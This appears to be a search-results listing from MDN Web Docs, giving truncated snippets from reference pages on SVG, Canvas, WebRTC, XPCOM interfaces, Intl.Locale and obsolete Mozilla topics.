...ommatrixreadonly instead of svgmatrix implementation status unknown domrect or domrectreadonly instead of svgrect implementation status unknown dompoint or dompointreadonly instead of svgpoint implementation status unknown members of svgstylable and svglangspace available in svgelement implementation status unknown svggraphicselement instead of svglocatable and svgtransformable implementation status unknown svggeometryelement with svggeometryelement.ispointinfill() and svggeometryelement.ispointinstroke() methods partially implemented (bug 1239100).
... dataset attribute for svgelement implementation status unknown moved pathlength attribute and gettotallength() and getpointatlength() methods from svgpathelement to svggeometryelement implemented (bug 1239100) document structure change notes svgsvgelement.suspendredraw(), svgsvgelement.unsuspendredraw(), and svgsvgelement.unsuspendredrawall() deprecated turned into no-ops (bug 734079) externalresourcesrequired attribute removed implementation status unknown auto value for width and height in <image> implementation status unknown referencing entire document with <use> implementation status unknown lang attribute on <desc> and <title> implemented (bug 721920) css transforms on outermos...
...And 10 more matches
Basic Transformations - SVG: Scalable Vector Graphics
with this helper, you can assign properties to a complete set of elements.
...transformations can be chained simply by concatenating them, separated by whitespace.
... translation it may be necessary to move an element around, even though you can position it with the according attributes.
...And 10 more matches
Positions - SVG: Scalable Vector Graphics
« previousnext » in this article, we examine how scalable vector graphics (svg) represents the positions and sizes of objects within a drawing context, including coordinate system and what a "pixel" measurement means in a scalable context.
... the grid for all elements, svg uses a coordinate system or grid system similar to the one used by canvas (and by a whole lot of other computer drawing routines).
... in the most basic case one pixel in an svg document maps to one pixel on the output device (a.k.a.
...And 10 more matches
importUserCertificates - Archive of obsolete content
deprecatedthis feature has been removed from the web standards.
... resultstring = crypto.importusercertificates("nicknamestring","certstring",forcebackup); argument description "nicknamestring" this is the nickname that will be used to describe the certificate in the client's certificate management ui.
... it should serve to uniquely identify the certificate to the user.
...And 9 more matches
Application Update - Archive of obsolete content
this article will hopefully explain how to update your xulrunner application using the same method that firefox, thunderbird, songbird, and chatzilla use.
... getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
...as far as i can tell enabling the options --enable-updater and --enable-update-packaging on your configure will build you mar.
...And 9 more matches
Syndicating content with RSS - Archive of obsolete content
syndication (or web syndication) is a method which lets a web site make its content available for others to read, listen to, or watch.
... when you make a blog, an internet radio show, or an internet television show, you are syndicating.
... rss is a tool which helps to syndicate your content by organizing it into a form that's easy for machines to parse and reuse.
...And 9 more matches
Building up a basic demo with PlayCanvas - Game development
playcanvas is a popular 3d webgl game engine, originally created by will eastcott and dave evans.
... games and demos playcanvas has a few well-known demos published that showcase its possibilities.
... tanx is a multiplayer tank game where you can drive your tank around, shooting at other players as you go.
...And 9 more matches
The business case for web performance - Learn web development
in this section, we discuss creating a clear business-case to convince decision-makers to make the investment.
... making performance a business priority we've discussed how prioritizing performance can improve user experience and therefore revenue.
... we know that not prioritizing web performance can result in a loss of business revenue.
...And 9 more matches
Uplifting a localization from Central to Aurora
localizers who are working on l10n-central are responsible for getting their work onto the aurora repository.
... you want to have a repo from which you can uplift to aurora shortly after the migration.
... you don't need to work on making the synchronization happen in either of your copies of the aurora or central repositories, but you can create a third one for this work.
...And 9 more matches
nsICacheEntryInfo
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about a cache entry.
... inherits from: nsisupports last changed in gecko 1.7 method overview boolean isstreambased(); attributes attribute type description clientid string get the client id associated with this cache entry.
... datasize unsigned long get the cache entry data size.
...And 9 more matches
nsILocale
intl/locale/idl/nsilocale.idlscriptable represents one locale, which can be used for things like sorting text strings and formatting numbers, dates and times.
... inherits from: nsisupports last changed in gecko 1.0 method overview astring getcategory(in astring category); methods getcategory() retrieves a string with the current locale name.
... astring getcategory( in astring category ); parameters category a string representing the category to retrieve the locale for.
...And 9 more matches
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcallback.idlscriptable this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface tells details of a request or notification to ime.
... when gecko supports new notification to ime, this interface may have some new attributes.
... so, nsitextinputprocessorcallback won't be changed for keeping backward compatibility.
...And 9 more matches
BroadcastChannel - Web APIs
the broadcastchannel interface represents a named channel that any browsing context of a given origin can subscribe to.
... it allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin.
... messages are broadcasted via a message event fired at all broadcastchannel objects listening to the channel.
...And 9 more matches
Cache.put() - Web APIs
WebAPICacheput
the put() method of the cache interface allows key/value pairs to be added to the current cache object.
... often, you will just want to fetch() one or more requests, then add the result straight to your cache.
... in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations.
...And 9 more matches
CanvasRenderingContext2D.getImageData() - Web APIs
the canvasrenderingcontext2d method getimagedata() of the canvas 2d api returns an imagedata object representing the underlying pixel data for a specified portion of the canvas.
... this method is not affected by the canvas's transformation matrix.
... if the specified rectangle extends outside the bounds of the canvas, the pixels outside the canvas are transparent black in the returned imagedata object.
...And 9 more matches
CanvasRenderingContext2D.putImageData() - Web APIs
the canvasrenderingcontext2d.putimagedata() method of the canvas 2d api paints data from the given imagedata object onto the canvas.
...this method is not affected by the canvas transformation matrix.
... note: image data can be retrieved from a canvas using the getimagedata() method.
...And 9 more matches
Canvas tutorial - Web APIs
<canvas> is an html element which can be used to draw graphics via scripting (usually javascript).
... this can, for instance, be used to draw graphs, combine photos, or create simple (and not so simple) animations.
... the images on this page show examples of <canvas> implementations which will be created in this tutorial.
...And 9 more matches
HTMLCanvasElement.toDataURL() - Web APIs
the htmlcanvaselement.todataurl() method returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png).
... if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned.
... syntax canvas.todataurl(type, encoderoptions); parameters type optional a domstring indicating the image format.
...And 9 more matches
RTCIceCandidate.port - Web APIs
the rtcicecandidate interface's read-only port property contains the port number on the device at the address given by ip at which the candidate's peer can be reached.
... as is the case with most of rtcicecandidate's properties, the value of port is extracted from the candidate a-line string specified when creating the rtcicecandidate.
... the a-line string is obtained either from the rtcicecandidateinit property candidate or from a-line string passed into the constructor upon using new rtcicecandidate().
...And 9 more matches
RTCIceCandidate.priority - Web APIs
the rtcicecandidate interface's read-only priority property specifies the candidate's priority according to the remote peer; the higher this value is, the better the remote peer considers the candidate to be.
... as is the case with most of rtcicecandidate's properties, the value of priority is extracted from the candidate a-line string specified when creating the rtcicecandidate.
... the a-line string is obtained either from the rtcicecandidateinit property candidate or from an a-line string passed into rtcpeerconnection.addicecandidate() instead of an rtcicecandidate.
...And 9 more matches
RTCIceCandidateStats.deleted - Web APIs
the rtcicecandidatestats dictionary's deleted property indicates whether or not the candidate has been deleted or released.
... syntax isdeleted = rtcicecandidatestats.deleted; value a boolean value indicating whether or not the candidate has been deleted or released.
... if this value is true, the candidate described by the rtcicecandidatestats object is no longer under consideration.
...And 9 more matches
RTCRtpReceiver.getCapabilities() static function - Web APIs
the static function rtcrtpreceiver.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by rtcrtpreceivers on the current device.
... you can, similarly, obtain the capabilities of rtcrtpsenders by calling the static function rtcrtpsender.getcapabilities().
... syntax let rtpcapabilities = rtcrtpreceiver.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the device's capability to receive.
...And 9 more matches
RTCRtpSender.getCapabilities() static function - Web APIs
the static function rtcrtpsender.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by the rtcrtpsender.
... you can, similarly, obtain the capabilities of rtcrtpreceivers by calling the static function rtcrtpreceiver.getcapabilities().
... syntax let rtpcapabilities = rtcrtpsender.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the sender's capability to receive.
...And 9 more matches
ReadableStream.cancel() - Web APIs
the cancel() method of the readablestream interface cancels the associated stream.
... cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
... that data is lost after cancel is called, and the stream is not readable any more.
...And 9 more matches
window.location - Web APIs
WebAPIWindowlocation
the window.location read-only property returns a location object with information about the current location of the document.
... though window.location is a read-only location object, you can also assign a domstring to it.
... this means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'.
...And 9 more matches
Content-Location - HTTP
the content-location header indicates an alternate location for the returned data.
... the principal use is to indicate the url of a resource transmitted as the result of content negotiation.
... location and content-location are different.
...And 9 more matches
Date.prototype.toLocaleTimeString() - JavaScript
the tolocaletimestring() method returns a string with a language sensitive representation of the time portion of this date.
... the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the behavior of the function.
... in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
...And 9 more matches
Logical NOT (!) - JavaScript
the logical not (!) operator (logical complement, negation) takes truth to falsity and vice versa.
... it is typically used with boolean (logical) values.
... when used with non-boolean values, it returns false if its single operand can be converted to true; otherwise, returns true.
...And 9 more matches
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
the dx attribute indicates a shift along the x-axis on the position of an element or its content.
... x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <number> default value 0 animatable yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used.
...And 9 more matches
edgeMode - SVG: Scalable Vector Graphics
the edgemode attribute determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
... two elements are using this attribute: <feconvolvematrix> and <fegaussianblur> feconvolvematrix for <feconvolvematrix>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
... value duplicate | wrap | none default value duplicate animatable yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image.
...And 9 more matches
refY - SVG: Scalable Vector Graphics
WebSVGAttributerefY
value <length-percentage> | <number> | top | center | bottom default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes.
... <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes.
... center the reference point of the marker is placed at the vertical center of the shape.
...And 9 more matches
Dynamically modifying XUL-based user interface - Archive of obsolete content
it explains the concept of dom documents, demonstrates a few simple examples of using dom calls to perform basic manipulations on a document, and then demonstrates working with anonymous xbl content using mozilla-specific methods.
... introduction as you know, xul is an xml language used in various mozilla-based applications, such as firefox and thunderbird, to describe the user interface.
... in xul applications javascript defines the behavior, using dom apis to access the xul document.
...And 8 more matches
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
a xulrunner application has no installer by default; however, these instructions can help you to easily create a windows installer with inno setup.
...however, if you don't get the quickstart pack, you can later get istool from inno setup third-party files.
... step 2: creating the application to make your application standalone, deploy your application according to the deploying xulrunner 1.8 article.
...And 8 more matches
NPN_PluginThreadAsyncCall - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary thread safe way to request that the browser calls a plug-in function on the browser or plugin thread (the thread on which the plug-in was initiated).
... syntax #include <npapi.h> void npn_pluginthreadasynccall(npp plugin, void (*func)(void *), void *userdata); parameters the function has the following parameters: plugin pointer to the current plug-in instance.
... func pointer to the function to call on the correct thread.
...And 8 more matches
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a new request to the server.
... not all http responses can be cached, these are the following constraints for an http response to be cached: the method used in the request is itself cacheable, that is either a get or a head method.
... a response to a post or patch request can also be cached if freshness is indicated and the content-location header is set, but this is rarely implemented.
...And 8 more matches
Test your skills: Writing Modes and Logical Properties - Learn web development
the aim of this task is to help you check your understanding of writing modes and logical properties.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...can you add a line of css to change it so it uses a vertical writing mode with right to left text?
...And 8 more matches
Integrated Authentication
this document provides an overview of mozilla's support for integrated authentication.
... this entails support for the the simple and protected gss-api negotiation mechanism (spnego) internet standard (rfc 2478) to negotiate either kerberos, ntlm, or other authentication protocols supported by the operating system.
... spnego is commonly referred to as the "negotiate" authentication protocol.
...And 8 more matches
Cached Monitors
this chapter describes the functions you use when you work with cached monitors.
... unlike a plain monitor, a cached monitor is associated with the address of a protected object, and the association is maintained only while the protection is needed.
... this arrangement allows a cached monitor to be associated with another object without preallocating a monitor for all objects.
...And 8 more matches
compare-locales
compare-locales is a python script that helps localizers to check their work without running firefox or another application.
... if you want to run compare-locales on windows, be sure to first install mozillabuild.
... installation compare-locales needs to be installed, and it requires that you have python 2.7 or 3.5+ installed on your machine.
...And 8 more matches
NS_NewLocalFile
« xpcom api reference summary the ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
... #include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newlocalfile( const nsastring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a utf-16 string object that specifies an absolute filesystem path.
... afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links.
...And 8 more matches
imgICache
image/public/imgicache.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache.
...use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie.
...And 8 more matches
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko.
...therefore, js-ime can implement this as a function.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocompose = false; break; } return true; } catch (e) { return false; } }, setcomposition: function simpleime_setcomp...
...And 8 more matches
AudioParam.cancelAndHoldAtTime() - Web APIs
the cancelandholdattime() property of the audioparam interface cancels all scheduled future changes to the audioparam but holds its value at a given time until further changes are made using other methods.
... syntax var audioparam = audioparam.cancelandholdattime(canceltime) parameters canceltime a double representing the time (in seconds) after the audiocontext was first created after which all scheduled changes will be cancelled.
... return value a reference to the audioparam it was called on.
...And 8 more matches
CanvasRenderingContext2D.transform() - Web APIs
the canvasrenderingcontext2d.transform() method of the canvas 2d api multiplies the current transformation with the matrix described by the arguments of this method.
... this lets you scale, rotate, translate (move), and skew the context.
... syntax void ctx.transform(a, b, c, d, e, f); the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] parameters a (m11) horizontal scaling.
...And 8 more matches
Geolocation - Web APIs
the geolocation interface represents an object able to programmatically obtain the position of the device.
... it gives web content access to the location of the device.
... this allows a web site or app to offer customized results based on the user's location.
...And 8 more matches
GeolocationPositionError - Web APIs
the geolocationpositionerror interface represents the reason of an error occurring when using the geolocating device.
... properties the geolocationpositionerror interface doesn't inherit any property.
... geolocationpositionerror.code read only secure context returns an unsigned short representing the error code.
...And 8 more matches
NotificationEvent - Web APIs
the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispatched on the serviceworkerglobalscope of a serviceworker.
... constructor notificationevent() creates a new notificationevent object.
... notificationevent.notification read only returns a notification object representing the notification that was clicked to fire the event.
...And 8 more matches
PhotoCapabilities - Web APIs
the photocapabilities interface of the the mediastream image capture api provides available configuration options for an attached photographic device.
... a photocapabilities object is retrieved by calling imagecapture.getphotocapabilities().
... properties photocapabilities.redeyereduction read only returns one of "never", "always", or "controllable".
...And 8 more matches
RTCIceCandidateType - Web APIs
the webrtc api's rtcicecandidatetype enumerated type provides a set of domstring values representing the types of ice candidate that can arrive.
... these strings are taken directly from the candidate a-line in sdp.
... values these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are.
...And 8 more matches
RTCPeerConnection.onicecandidate - Web APIs
the rtcpeerconnection property onicecandidate property is an eventhandler which specifies a function to be called when the icecandidate event occurs on an rtcpeerconnection instance.
... this happens whenever the local ice agent needs to deliver a message to the other peer through the signaling server.
... this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to send the ice candidate to the remote peer.
...And 8 more matches
window.requestIdleCallback() - Web APIs
the window.requestidlecallback() method queues a function to be called during a browser's idle periods.
... this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... functions are generally called in first-in-first-out order; however, callbacks which have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses.
...And 8 more matches
Intl.Locale.prototype.collation - JavaScript
the intl.locale.prototype.collation property is an accessor property that returns the collation type for the locale, which is used to order strings according to the locale's rules.
...while the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language.
... the collation property helps to make it easier for javascript programmers to access the collation type used by a particular locale.
...And 8 more matches
Intl.Locale.prototype.hourCycle - JavaScript
the intl.locale.prototype.hourcycle property is an accessor property that returns the time keeping format convention used by the locale.
...the hourcycle property makes it easier for javascript programmers to access the clock type used by a particular locale.
... like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string.
...And 8 more matches
Intl.Locale.prototype.numeric - JavaScript
the intl.locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric characters.
... description like intl.locale.casefirst, numeric represents a modification to the collation rules utilized by the locale.
... numeric is a boolean value, which means that it can be either true or false.
...And 8 more matches
requiredFeatures - SVG: Scalable Vector Graphics
to detect availability of an svg feature from script, there is the (also deprecated) domimplementation.hasfeature() method.
...these same feature strings apply to the hasfeature method call that is part of the svg dom's support for the domimplementation interface.
... in some cases the feature strings map directly to a set of attributes, properties or elements, in others they represent some functionality of the browser.
...And 8 more matches
visibility - SVG: Scalable Vector Graphics
the visibility attribute lets you control the visibility of graphical elements.
... note: if the visibility attribute is set to hidden on a text element, then the text is invisible but still takes up space in text layout calculations.
... note: as a presentation attribute, visibility can be used as a css property.
...And 8 more matches
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
usage context categoriesdescriptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
... example <svg width="400" viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:description about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera"/> </rdf:description> <rdf:description about="#cableb"> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#computerb"/> </rdf:description> <rdf:description about="#cablen"> <connect:ends rdf:resource="#socket5"/> <connect:ends>everything</connect:ends> </rdf:description> <rdf:descript...
...used by hub symbol --> <symbol id="hubplug"> <desc>a 10baset/100basetx socket</desc> <path d="m0,10 h5 v-9 h12 v9 h5 v16 h-22 z"/> </symbol> <!-- hub symbol --> <symbol id="hub"> <desc>a typical 10baset/100basetx network hub</desc> <text x="0" y="15">hub</text> <g transform="translate(0 20)"> <rect width="253" height="84"/> <rect width="229" height="44" x="12" y="10"/> <circle fill="red" cx="227" cy="71" r="7" /> <!-- five groups each using the defined socket --> <g id="sock1et" transform="translate(25 20)"> <title>socket 1</...
...And 8 more matches
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
the <use> element takes nodes from within the svg document, and duplicates them somewhere else.
...(this differs from how css style attributes override those set 'earlier' in the cascade).
... since the cloned nodes are not exposed, care must be taken when using css to style a use element and its cloned descendants.
...And 8 more matches
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
one can override default browser behaviors with the evt.preventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
...you can pass an object that implements the handleevent interface as the second parameter to these methods.
...ge this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ switch (evt.type){ case "click": alert(this.message) break; } } } inter-document scripting: referencing embedded svg when using svg within html, adobe's svg viewer 3.0 automatically includes a window property called svgdocument that points to the svg document.
...And 8 more matches
Navigator.mozNotification - Archive of obsolete content
mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) provides support for creating notification objects, which are used to display desktop notification alerts to the user.
...see displaying notifications for an example.
... the support for this property as been dropped in favor of the standard notification constructor.
...And 7 more matches
MenuModification - Archive of obsolete content
<script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in this example, the addtomenu function is called when the button is pressed.
...this value be set as the menuitem's value attribute and can be used for whatever purpose is desired.
...in this case, 0 is supplied as the index, which means before the first item.
...And 7 more matches
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
« previousnext » this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications.
... we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (previous versions worked only in firefox).
... if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...And 7 more matches
Creating localizable web content
text content check that the text is factually correct for an international audience (e.g., mentions of en-us specific product pieces like specific search engines or dictionary should be adapted) look for strings that are likely hard to translate because they are unclear, use play on words or colloquialisms.
... depending on context, find alternate strings or document an explanation of the string for localizers check that we don't link in new pages to sub-pages with anchors.
... per-locale customizations check if there are alternative links for localized pages (e.g., links to mdn, addons.mozilla.org, or other external resources, are there translated equivalents we can use).
...And 7 more matches
Making cross-thread calls using runnables
typically, thread activities are triggered and managed using an xpcom event-passing framework that uses the nsirunnable interface.
... each runnable represents a task which can then be dispatched to another thread for execution.
... note: javascript code cannot use the techniques described in this article.
...And 7 more matches
NS_NewNativeLocalFile
« xpcom api reference summary the ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.
... #include "nsxpcom.h" #include "nsilocalfile.h" nsresult ns_newnativelocalfile( const nsacstring& apath, prbool afollowlinks, nsilocalfile** aresult ); parameters apath [in] a string object that specifies an absolute filesystem path.
... afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links.
...And 7 more matches
mozIStorageStatementCallback
the mozistoragestatementcallback interface represents a callback handler that the storage api calls with result, error, and completion notifications while handling asynchronous database queries.
... storage/public/mozistoragestatementcallback.idlscriptable please add a summary to this article.
... reason_canceled 1 the statement stopped executing because it was canceled.
...And 7 more matches
AuthenticatorAttestationResponse.attestationObject - Web APIs
the attestationobject property of the authenticatorattestationresponse interface returns an arraybuffer containing the new public key, as well as signature over the entire attestationobject with a private key that is stored in the authenticator when it is manufactured.
... as part of the credentialscontainer.create() call, an authenticator will create a new keypair as well as an attestationobject for that keypair.
... syntax attestobj = authenticatorattestationresponse.attestationobject properties after decoding the cbor encoded arraybuffer, the resulting javascript object will contain the following properties: authdata the same as authenticatorassertionresponse.authenticatordata.
...And 7 more matches
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
the keys() method of the cachestorage interface returns a promise that will resolve with an array containing strings corresponding to all of the named cache objects tracked by the cachestorage object in the order they were created.
... use this method to iterate over a list of all cache objects.
... you can access cachestorage through the global caches property.
...And 7 more matches
CanvasRenderingContext2D.addHitRegion() - Web APIs
the canvasrenderingcontext2d method addhitregion() adds a hit region to the bitmap.
... canvas hit regions make hit detection easy.
... they let you route events to dom elements, and make it possible for users to explore the canvas without seeing it.
...And 7 more matches
CanvasRenderingContext2D.arcTo() - Web APIs
the canvasrenderingcontext2d.arcto() method of the canvas 2d api adds a circular arc to the current sub-path, using the given control points and radius.
... the arc is automatically connected to the path's latest point with a straight line, if necessary for the specified parameters.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // tangential lines ctx.beginpath(); ctx.strokestyle = 'gray'; ctx.moveto(200, 20); ctx.lineto(200, 130); ctx.lineto(50, 20); ctx.stroke(); // arc ctx.beginpath(); ctx.strokestyle = 'black'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.strok...
...And 7 more matches
CanvasRenderingContext2D.fillText() - Web APIs
the canvasrenderingcontext2d method filltext(), part of the canvas 2d api, draws a text string at the specified coordinates, filling the string's characters with the current fillstyle.
... this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... to draw the outlines of the characters in a string, call the context's stroketext() method.
...And 7 more matches
CanvasRenderingContext2D.rotate() - Web APIs
the canvasrenderingcontext2d.rotate() method of the canvas 2d api adds a rotation to the transformation matrix.
...you can use degree * math.pi / 180 to calculate a radian from a degree.
... the rotation center point is always the canvas origin.
...And 7 more matches
DedicatedWorkerGlobalScope.postMessage() - Web APIs
the postmessage() method of the dedicatedworkerglobalscope interface sends a message to the main thread that spawned it.
...the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
... the main scope that spawned the worker can send back information to the thread that spawned it using the worker.postmessage method.
...And 7 more matches
Element.localName - Web APIs
WebAPIElementlocalName
the element.localname read-only property returns the local part of the qualified name of an element.
... in previous dom specifications this api was defined within the node interface.
... syntax name = element.localname return value a domstring representing the local part of the element's qualified name.
...And 7 more matches
Element.setPointerCapture() - Web APIs
the setpointercapture() method of the element interface is used to designate a specific element as the capture target of future pointer events.
... subsequent events for the pointer will be targeted at the capture element until capture is released (via element.releasepointercapture()).
... note: when pointer capture is set, pointerover, pointerout, pointerenter, and pointerleave events are only generated when crossing the boundary of the capture target.
...And 7 more matches
GlobalEventHandlers.ontransitioncancel - Web APIs
the ontransitioncancel property of the globaleventhandlers mixin is an eventhandler that processes transitioncancel events.
... the transitioncancel event is sent when a css transition is cancelled.
... the transition is cancelled when: the value of the transition-property property that applies to the target is changed the display property is set to "none".
...And 7 more matches
HTMLTableCaptionElement - Web APIs
the htmltablecaptionelement interface special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating table caption elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...ndale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties...
...And 7 more matches
InputDeviceCapabilities API - Web APIs
the inputdevicecapabilities api provides details about the underlying sources of input events.
...for example, the first version of the api indicates whether a device fires touch events rather than whether it is a touch screen.
... input device capabilities concepts and usage because dom events abstract device input, they provide no way to learn what device or type of device fired an event.
...And 7 more matches
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and streams api, representing a stream of data being generated locally (such as by getusermedia().
... however, getusermedia() now returns a mediastream instead, and this interface has been removed from the specification.
...do not use localmediastream; you need to update any code that does use it as soon as possible or your content or application will stop working.
...And 7 more matches
MediaTrackSettings.echoCancellation - Web APIs
the mediatracksettings dictionary's echocancellation property is a boolean value whose value indicates whether or not echo cancellation is enabled on an audio track.
